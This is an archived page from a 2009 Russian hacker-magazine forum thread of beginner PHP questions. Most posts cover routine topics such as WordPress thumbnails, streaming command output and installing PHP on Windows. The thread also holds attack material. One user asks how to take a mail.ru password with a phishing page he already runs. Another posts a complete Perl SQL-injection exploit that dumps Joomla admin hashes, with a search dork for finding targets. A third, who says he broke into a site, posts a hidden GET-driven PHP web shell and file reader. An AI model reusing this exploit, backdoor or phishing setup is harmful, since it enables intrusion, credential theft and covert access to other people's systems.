Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

RE: Вопросы по PHP (для новичков)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> RE: Вопросы по PHP (для новичков)
Имя
Сообщение << Старые топики   Новые топики >>
RE: Вопросы по PHP (для новичков) - 2009-04-04 22:41:54.493333   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
quote:

ORIGINAL: magistr_bender
http://codeismy.name/archives/158

Косяки в коде (не только этом) с кавычками и слэшами, например:
quote:

$body = str_replace(”rn.rn”, “rn..rn”, $body);
слэши вырезались

quote:

$to = explode(’, ‘, $to);&nbsp;
 
и т.д.
Post #: 681
RE: Вопросы по PHP (для новичков) - 2009-04-04 22:54:49.510000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
надо в шаблоне подкоректировать значит будет вывод
Post #: 682
RE: Вопросы по PHP (для новичков) - 2009-04-04 23:03:45.093333   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
Еще и ввод, вот например здесь:
quote:

ORIGINAL: http://codeismy.name/archives/163/&nbsp;

imagejpeg ($foto, “done.jpg”, “100″);

слева-справа от сотки разные кавычки
Post #: 683
RE: Вопросы по PHP (для новичков) - 2009-04-05 17:53:22.146666   
ksana

Сообщений: 27
Оценки: 0
Присоединился: 2009-04-05 17:17:08.253333
Привет всем,

помогите, пожалуйста, разобраться с выводом картинок.

Мне нужно вывести на блоге популярные записи.
Вот так:

            <ul>
<?php
$pop_posts = get_option('popular_posts');
if (empty($pop_posts) || $pop_posts < 1) $pop_posts = 4;
$now = gmdate("Y-m-d H:i:s",time());
$lastmonth = gmdate("Y-m-d H:i:s",gmmktime(date("H"), date("i"), date("s"), date("m")-12,date("d"),date("Y")));
$popularposts = "SELECT ID, post_title, post_author, COUNT($wpdb->comments.comment_post_ID) AS 'stammy' FROM $wpdb->posts, $wpdb->comments WHERE comment_approved = '1' AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status = 'publish' AND post_date < '$now' AND post_date > '$lastmonth' AND comment_status = 'open' GROUP BY $wpdb->comments.comment_post_ID ORDER BY stammy DESC LIMIT ".$pop_posts;
$posts = $wpdb->get_results($popularposts);
$popular = '';
if($posts){
    foreach($posts as $post){
        $post_title = stripslashes($post->post_title);
        $guid = get_permalink($post->ID);

        $custom_field = get_post_meta($post->ID, "thumbnail", true);
?>
<a href="<?php the_permalink() ?>" rel="bookmark">
<img src="<?php bloginfo('template_url'); ?>/scripts/timthumb.php?src=/<?php $values = get_post_custom_values("thumbnail"); echo $values[0]; ?>&w=150&h=100&zc=1&q=100" alt="<?php the_title(); ?>" />
</a>
<li class="popular">  
<span class='title'><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php the_title2('', '…', true, '56') ?> </a></span><br/>
<span class='meta'><?php the_time('l, F j, Y') ?><?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?> </span>                       
</li>
<?php
    }
}
?>
</ul>

Я не пойму, почему вместе со списком записей не выводятся картинки из этих записей, вместо них выводится для всех одинаковая картинка.

Подскажите, плиз, что здесь неправильно?
Уже всю голову сломала, не могу понять.

И как будет правильно?

Post #: 684
RE: Вопросы по PHP (для новичков) - 2009-04-05 23:25:43.800000   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
А может тебе стоит обратиться на форум движка, хотя бы сюда - http://mywordpress.ru/support/ ?
Post #: 685
RE: Вопросы по PHP (для новичков) - 2009-04-06 08:47:12.706666   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
вобщето как я помню официальный сайт русской локализации вордпреса это ru.wordpress.org
Post #: 686
RE: Вопросы по PHP (для новичков) - 2009-04-06 11:50:34.200000   
Mamka

Сообщений: 560
Оценки: 0
Присоединился: 2007-11-26 22:20:09.313333
Официальный - не значит лучший. на ru.wordpress.org никого нет почти, все как-раз пользователи wp сидят на mywordpress'e
Post #: 687
RE: Вопросы по PHP (для новичков) - 2009-04-06 16:10:50.196666   
belara

Сообщений: 3
Оценки: 0
Присоединился: 2009-04-05 22:09:15.720000
Здравствуйте, уважаемые!
Не сочтите за труд, рассказать подробно, как достать пароль от определённого ящика на майл.ру, имея вот эту фейковую страницу.
<http://www.auth-login.tu2.ru/>
Желательно, готовые логи, куда я подставлю свои значения . Сразу прошу подсказывать, где эти переменные находятся в коде лога.
на сайт залиты сам фейк, направляющий скрипт и база. Что ещё надо?



Заранее благодарю!!!
Post #: 688
RE: Вопросы по PHP (для новичков) - 2009-04-06 19:10:33.883333   
surgutor

Сообщений: 627
Оценки: 0
Присоединился: 2008-05-29 11:42:15.623333
Вряд ли вопрос из разряда новичков, но создавать тему новую из-за такой ерунды не хочется
exec ('sudo vzctl create '.$ID_VPS.' --ostemplate '.$Templates.' --config '.$ID_VPS.' 2&gt;&amp;1', $exit5); &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $exit5_print = implode ("&lt;br&gt;", $exit5); &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($exit5_print != ""){ &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "&lt;br&gt;"; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "&lt;b&gt;Создание нового VPS-сервера: &lt;/b&gt;"; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "&lt;br&gt;"; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo $exit5_print; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; echo "&lt;br&gt;"; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }
к сожалению, выполнение команды занимает около 5 минут
как можно сделать, что вывод возврата команды был в режиме онлайн
выполнение команды - строк несколько, появляются постепенно
как мн так же постепенно вывести все это на экран
Post #: 689
RE: Вопросы по PHP (для новичков) - 2009-04-06 19:17:48.133333   
SureGOOD

Сообщений: 20
Оценки: 0
Присоединился: 2009-03-30 14:34:39.703333
нормально вывод на экран не сделать, предлагаю такой вариант:
в вызывающем скрипте подправить вызов, чтобы не ждать окончания выполнения функции, после вызова поставить цикл и проверять файл, на наличие записей, и если что-то есть, то выводить до тех пор, пока функция не закончится(как это сделать надеюсь понятно), а в вызванном скрипте между ключевыми этапами сделать запись в файл
Если у вас параллельно вызываются скрипты, то лучше пользоваться функцией tmpnam, чтобы избежать перезаписи
Post #: 690
RE: Вопросы по PHP (для новичков) - 2009-04-06 19:45:55.746666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
http://ru.php.net/ob_flush
Post #: 691
RE: Вопросы по PHP (для новичков) - 2009-04-06 19:55:39.943333   
surgutor

Сообщений: 627
Оценки: 0
Присоединился: 2008-05-29 11:42:15.623333
а прикрутить ajax не будет лучше?
Post #: 692
RE: Вопросы по PHP (для новичков) - 2009-04-06 20:06:01.453333   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
surgutor, попробуй
http://ru.php.net/popen
Post #: 693
RE: Вопросы по PHP (для новичков) - 2009-04-07 15:52:55.806666   
belara

Сообщений: 3
Оценки: 0
Присоединился: 2009-04-05 22:09:15.720000
Смотрю, новичкам у вас здесь рады. Зачем тему для новичков создаёте, если всё равно игнорируете их?
Post #: 694
RE: Вопросы по PHP (для новичков) - 2009-04-07 16:01:03.226666   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
Кто кого игнорирует? Если ты про это - http://forum.xakep.ru/fb.aspx?m=1491953 то надо вопрос задавать поконкретнее, какие переменные могут быть в логах?
Post #: 695
RE: Вопросы по PHP (для новичков) - 2009-04-07 16:50:22.040000   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
Нужно вытаскивать письма из ящика на Яндексе. Посоветуйте, где доступным языком (читай: для чайников) написано про РОР3 + РНР? Можно ли это сделать проще?
Post #: 696
RE: Вопросы по PHP (для новичков) - 2009-04-07 16:51:47.186666   
Parano1d

Сообщений: 423
Оценки: 0
Присоединился: 2008-05-21 13:40:17.093333
quote:

Нужно вытаскивать письма из ящика на Яндексе. Посоветуйте, где доступным языком (читай: для чайников) написано про РОР3 + РНР? Можно ли это сделать проще?

http://www.google.ru/search?q=pop3+php&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:ru:official&client=firefox-a
Post #: 697
RE: Вопросы по PHP (для новичков) - 2009-04-07 19:06:18.306666   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
Почему imap_num_recent($mbox) возвращает общее число писем, а не непрочитанных?

Как получить количество непрочитанных сообщений?
Post #: 698
RE: Вопросы по PHP (для новичков) - 2009-04-07 20:47:53.810000   
Parano1d

Сообщений: 423
Оценки: 0
Присоединился: 2008-05-21 13:40:17.093333
quote:

Почему imap_num_recent($mbox) возвращает общее число писем, а не непрочитанных?

ты уверен?
http://ru2.php.net/manual/ru/function.imap-num-recent.php
Post #: 699
RE: Вопросы по PHP (для новичков) - 2009-04-07 21:05:57.646666   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333

quote:

ORIGINAL: Parano1d

quote:

Почему imap_num_recent($mbox) возвращает общее число писем, а не непрочитанных?

ты уверен?
http://ru2.php.net/manual/ru/function.imap-num-recent.php


Я понял свою ошибку. На одном сайте было написано „непрочитанные“, поэтому я поверил.

Как получить число непрочитанных?
Post #: 700
RE: Вопросы по PHP (для новичков) - 2009-04-07 21:37:09.273333   
Lightsaber

Сообщений: 78
Оценки: 0
Присоединился: 2009-02-22 14:40:54.653333
народ, постоянно сталкиваюсь с такой проблемой: качаю, пишу сам или в общем где-то беру скрипты или сплойты, запускаю их под пхп(или перл) , и постоянно выдаётся ошибка синтаксиса или как-то так… в общем пишет в консоле, что ошибка в какой-то там строке
Post #: 701
RE: Вопросы по PHP (для новичков) - 2009-04-07 22:16:27.153333   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333

quote:

ORIGINAL: Lightsaber

народ, постоянно сталкиваюсь с такой проблемой: качаю, пишу сам или в общем где-то беру скрипты или сплойты, запускаю их под пхп(или перл) , и постоянно выдаётся ошибка синтаксиса или как-то так… в общем пишет в консоле, что ошибка в какой-то там строке

Посмотри на эту строку, там ошибка.
Post #: 702
RE: Вопросы по PHP (для новичков) - 2009-04-08 15:50:08.636666   
Lightsaber

Сообщений: 78
Оценки: 0
Присоединился: 2009-02-22 14:40:54.653333
ты не понимаешь, мне абсолютно в каждом скрипте пишет ошибку, я качаю там с милворма и тд ну не может всё быть ошибочно это бред
Post #: 703
RE: Вопросы по PHP (для новичков) - 2009-04-08 16:04:51.496666   
Lightsaber

Сообщений: 78
Оценки: 0
Присоединился: 2009-02-22 14:40:54.653333
ну вот например что пишет:
C:\perl\bin\perl sp.pl
Can`t locate LWP\UserAgent.pm in @INC <@INC contains: .> at sp.pl at line 21.
BEGIN failed–compilation aborted at sp.pl line 21
———————————————————————————————-
вот сам текст скрипта
#!/usr/bin/perl -w

#Joomla com_xevidmegahd Sql injection#
########################################
#[~] Author : EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous
#[!] Module_Name: com_xevidmegahd
#[!] Script_Name: Joomla
#[!] Google_Dork: inurl:"com_xevidmegahd"
########################################

system("color FF0000");
system("Nohacking");
print "\t\t————————————————————-\n\n";
print "\t\t| Turkish Securtiy Team |\n\n";
print "\t\t————————————————————-\n\n";
print "\t\t|Joomla Module com_xevidmegahd(catid=)Remote SQL Injection Vuln|\n\n";
print "\t\t| Coded by: EcHoLL www.warezturk.org |\n\n";
print "\t\t————————————————————-\n\n";
use LWP::UserAgent;
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=com_xevidmegahd&Itemid=99999999&func=viewcategory&catid=1'+UNION+SELECT+".$column_name."+from/**/".$table_name."+–+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Tebrikler Exploit Calisti! #\n\n";
}
else{print "\n[-] Exploit Bulunamadı…\n";
}
Post #: 704
RE: Вопросы по PHP (для новичков) - 2009-04-08 16:24:03.313333   
SureGOOD

Сообщений: 20
Оценки: 0
Присоединился: 2009-03-30 14:34:39.703333
попробуй такой скрипт
&lt;? print_r(php_info()); ?&gt;
Post #: 705
RE: Вопросы по PHP (для новичков) - 2009-04-08 17:33:24.073333   
Lightsaber

Сообщений: 78
Оценки: 0
Присоединился: 2009-02-22 14:40:54.653333
попробовал, просто выплёвывает в консоли содержание скрипта но ошибок не выдаёт
Post #: 706
RE: Вопросы по PHP (для новичков) - 2009-04-08 17:40:13.740000   
ZloScript

Сообщений: 72
Оценки: 0
Присоединился: 2008-09-17 01:33:59.556666
Я взломал сайт но весить его пока не надо, просто скидывать shell с умным названием палевно - хочу оставить там маленькую вставку php кода,
Короче надо бы скрипт который при в ставке в страницу не отоброжался но при правельном get запросе выдовал мне что я хочу

я бы просто оставил там
<?
$zlo=$_GET['zlo'];
if ($zlo) system($zlo);
>

и при запрпосе типа file.php?zlo=<ssh> получал бы доступ

но не "cat" не "head" неработает поэтому нужно еще скриптик для открытия файла

Я открывал там файлы таким скриптом

$file = fopen("путь","rb");
if(!file)
{
echo("Ошибка открытия файла");
}
else
{
fpassthru($file);
}

и мне его надо вмести с придыдущим вставить в скрипт шоб админ не спалил!!!
Post #: 707
RE: Вопросы по PHP (для новичков) - 2009-04-08 18:24:28.386666   
SureGOOD

Сообщений: 20
Оценки: 0
Присоединился: 2009-03-30 14:34:39.703333
т.е.?
в браузере корректно отображается все?
тогда скорее ошибки в скриптах
Post #: 708
RE: Вопросы по PHP (для новичков) - 2009-04-08 18:33:29.463333   
Lightsaber

Сообщений: 78
Оценки: 0
Присоединился: 2009-02-22 14:40:54.653333
ну в консоли, а не в браузере, в браузере твйо скрипт ваще не открывается на локалхосте а вот например текст программы hello world! нормально работает ну и остальные скрипты, а сплойты надо в браузере открывать чтоли? я думал через консоль….
кста а как на мой локалхост поставить перл, ведь на нем часто сплойты
Post #: 709
RE: Вопросы по PHP (для новичков) - 2009-04-08 18:52:26.860000   
SureGOOD

Сообщений: 20
Оценки: 0
Присоединился: 2009-03-30 14:34:39.703333
перл не ставил, но вообще глянь, как устанавливать модули апача, а с локалхоста или с виртуального хоста будешь ставить-не важно думаю
Post #: 710
RE: Вопросы по PHP (для новичков) - 2009-04-08 19:48:01.486666   
Lightsaber

Сообщений: 78
Оценки: 0
Присоединился: 2009-02-22 14:40:54.653333
всё-таки главный вопрос в силе почеум выдаёт ошибки?
Post #: 711
RE: Вопросы по PHP (для новичков) - 2009-04-08 23:48:34.626666   
SureGOOD

Сообщений: 20
Оценки: 0
Присоединился: 2009-03-30 14:34:39.703333
возможно модули не все поставил, тоже вариант, снеси все и поставь по инструкции, их полно в нете и они практически не отличаются
Post #: 712
RE: Вопросы по PHP (для новичков) - 2009-04-10 01:35:53.363333   
Fraqter

Сообщений: 123
Оценки: 0
Присоединился: 2009-01-26 21:17:05.456666
quote:

toLightsaber
Can`t locate LWP\UserAgent.pm in @INC &lt;@INC contains: .&gt; at sp.pl at line 21.

print "\t\t————————————————————-\n\n";
use LWP::UserAgent;
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";

всё-таки главный вопрос в силе почеум выдаёт ошибки?

Поставь активку свежую http://www.activestate.com/activeperl/

И кстати тема касается php, а не perl.
quote:

Вопросы по PHP (для новичков)
Post #: 713
RE: Вопросы по PHP (для новичков) - 2009-04-12 19:51:52.413333   
anderson110475

Сообщений: 138
Оценки: 0
Присоединился: 2008-05-29 01:53:19.283333
народ подскажите пожалуйста. вот взял книгу мэтта зандстры php за 24 часа.
тм подробно описано как поставить ее на unix. как поставить этот интерпретатор php на винду?надо ли ставить сервер или апач.
короч подскажите чо да как!буду очень признателен.
Post #: 714
RE: Вопросы по PHP (для новичков) - 2009-04-12 19:55:12.443333   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
Ставь Денвер - www.denwer.ru
Post #: 715
RE: Вопросы по PHP (для новичков) - 2009-04-12 20:18:50.463333   
anderson110475

Сообщений: 138
Оценки: 0
Присоединился: 2008-05-29 01:53:19.283333
видишь ли в чем дело.просто хотелось бы делать все прямиком по книжке-так как  я новичок.поэтому как бы вопрос в силе остается.
так как поставить php интепритатор под винду?
Post #: 716
RE: Вопросы по PHP (для новичков) - 2009-04-12 20:48:30.633333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
anderson110475
Ставил давно, помойму просто в корень диска копируешь папку PHP, затем настрайваешь php.ini и копируешь его в виндовский каталог. Все.
Post #: 717
RE: Вопросы по PHP (для новичков) - 2009-04-13 00:20:10.250000   
anderson110475

Сообщений: 138
Оценки: 0
Присоединился: 2008-05-29 01:53:19.283333
кстати вот если на винду поставлен просто php и денвер-они конфликтовать не будут? (ясен пень в разные директории)
Post #: 718
RE: Вопросы по PHP (для новичков) - 2009-04-13 00:42:32.330000   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
Нет, не будут.
Post #: 719
RE: Вопросы по PHP (для новичков) - 2009-04-13 03:16:17.773333   
onetm92

Сообщений: 1
Оценки: 0
Присоединился: 2009-04-13 03:06:56.856666

Здравствуйте. Нужно написать программу, которая выводит список всех файлов находящихся в определенной директории и указывает какие из них доступны для чтения, записи и.т.д. Как определить для чего они доступны, я знаю. А вот как выводить список всех файлов, понятия не имею. Помогите, плиз.
Post #: 720
Страниц:  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [18] 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
Все форумы >> [Веб-программинг] >> RE: Вопросы по PHP (для новичков)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.